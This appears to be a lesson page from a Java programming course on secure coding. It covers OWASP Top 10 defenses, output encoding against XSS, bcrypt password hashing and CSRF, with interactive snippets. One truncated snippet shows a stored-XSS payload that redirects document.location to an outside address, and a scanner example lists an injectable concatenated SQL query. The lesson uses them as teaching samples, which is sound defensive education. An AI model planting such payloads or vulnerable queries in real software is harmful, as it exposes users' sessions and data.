Lesson 42 • Advanced
Secure Coding Practices
Security isn't a feature you add later — it's a mindset from line one. A single SQL injection can leak your entire database. One missing input validation can give attackers admin access. This lesson covers the OWASP Top 10 vulnerabilities and their Java-specific defenses.
Before You Start
You should know JDBC (SQL injection prevention), REST APIs (input validation), and Exception Handling (secure error messages). Understanding HTTP basics is essential.
What You'll Learn
- ✅ OWASP Top 10 vulnerabilities and Java defenses
- ✅ SQL injection prevention with PreparedStatement
- ✅ XSS prevention with output encoding
- ✅ Secure password hashing with bcrypt
- ✅ CSRF tokens and session management
- ✅ Input validation and secure deserialization
1️⃣ OWASP Top 10 — Java Defenses
The OWASP Top 10 is the industry standard list of critical web application security risks. Every vulnerability here has been exploited in real breaches — and every one has a straightforward Java defense.
| Vulnerability | Attack | Java Defense |
|---|---|---|
| SQL Injection | Malicious SQL via input | PreparedStatement, JPA |
| XSS | Script injection in HTML | Output encoding |
| Broken Auth | Weak passwords, no lockout | Spring Security + bcrypt |
| Insecure Deser. | Malicious serialized objects | Avoid Java serialization |
| CSRF | Forged requests | CSRF tokens (Spring default) |
Try It: XSS Attack & Defense
// 💡 Try modifying this code and see what happens!
// Cross-Site Scripting (XSS) — Attack and Defense
console.log("=== XSS Attack & Defense ===\n");
// HTML encoder (simulating OWASP Encoder)
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 1. Stored XSS attack
console.log("1. STORED XSS ATTACK:");
let maliciousComment = '<script>document.location="http://e
...2️⃣ Password Security
Analogy: Hashing a password is like putting a letter through a paper shredder. You can verify that a new letter matches the shredded pattern, but you can never reconstruct the original. bcrypt adds salt (randomness) and a work factor (intentional slowness) to make brute-force attacks impractical.
❌ Never: Plain text, MD5, SHA-1 (cracked in seconds)
✅ Always: bcrypt with cost ≥ 12 (~250ms per hash)
Try It: Password Hashing & Brute Force
// 💡 Try modifying this code and see what happens!
// Password hashing and brute force resistance
console.log("=== Password Security ===\n");
// Simple hash simulation
function simpleHash(str) {
let hash = 0;
for (let i = 0; i < str.length; i++) {
hash = ((hash << 5) - hash) + str.charCodeAt(i);
hash |= 0;
}
return Math.abs(hash).toString(16).padStart(8, "0");
}
// bcrypt simulation (with salt and work factor)
function bcryptHash(password, cost) {
let salt = Math.random().t
...Critical Security Rules
- ⚠️ NEVER concatenate user input into SQL — always PreparedStatement with ? placeholders
- ⚠️ NEVER store passwords in plain text — use bcrypt with cost ≥ 12
- ⚠️ NEVER trust client input — validate on server side, even if client validates
- ⚠️ NEVER log sensitive data — passwords, credit cards, tokens, session IDs
- ⚠️ NEVER hardcode secrets — use environment variables or secret managers
Security Checklist
- 💡 ✅ All SQL uses PreparedStatement or JPA
- 💡 ✅ All output is HTML-encoded (prevents XSS)
- 💡 ✅ Passwords hashed with bcrypt (cost ≥ 12)
- 💡 ✅ HTTPS everywhere with HSTS header
- 💡 ✅ CSRF protection enabled (Spring Security default)
- 💡 ✅ Dependencies scanned for CVEs (Dependabot/Snyk)
Try It: Security Vulnerability Scanner
// 💡 Try modifying this code and see what happens!
// Security vulnerability scanner simulation
console.log("=== Security Vulnerability Scanner ===\n");
// Simulated code analysis
let codeSnippets = [
{
code: 'String sql = "SELECT * FROM users WHERE name='" + input + "'"',
vulnerability: "SQL Injection",
severity: "CRITICAL",
fix: 'Use PreparedStatement: "SELECT * FROM users WHERE name = ?"',
cwe: "CWE-89"
},
{
code: 'response.getWriter().write("<div>" + userInpu
...📋 Quick Reference
| Threat | Defense | Library |
|---|---|---|
| SQL Injection | PreparedStatement | JDBC / JPA |
| XSS | Encode.forHtml() | OWASP Encoder |
| Passwords | BCrypt.hashpw() | jBCrypt / Spring |
| CSRF | CsrfFilter | Spring Security |
| CVE Scanning | dependency-check | OWASP DC / Snyk |
🎉 Lesson Complete!
You now write Java code that's secure by default — protecting against the most common attack vectors! Next: JavaFX — building desktop GUI applications.
Sign up for free to track which lessons you've completed and get learning reminders.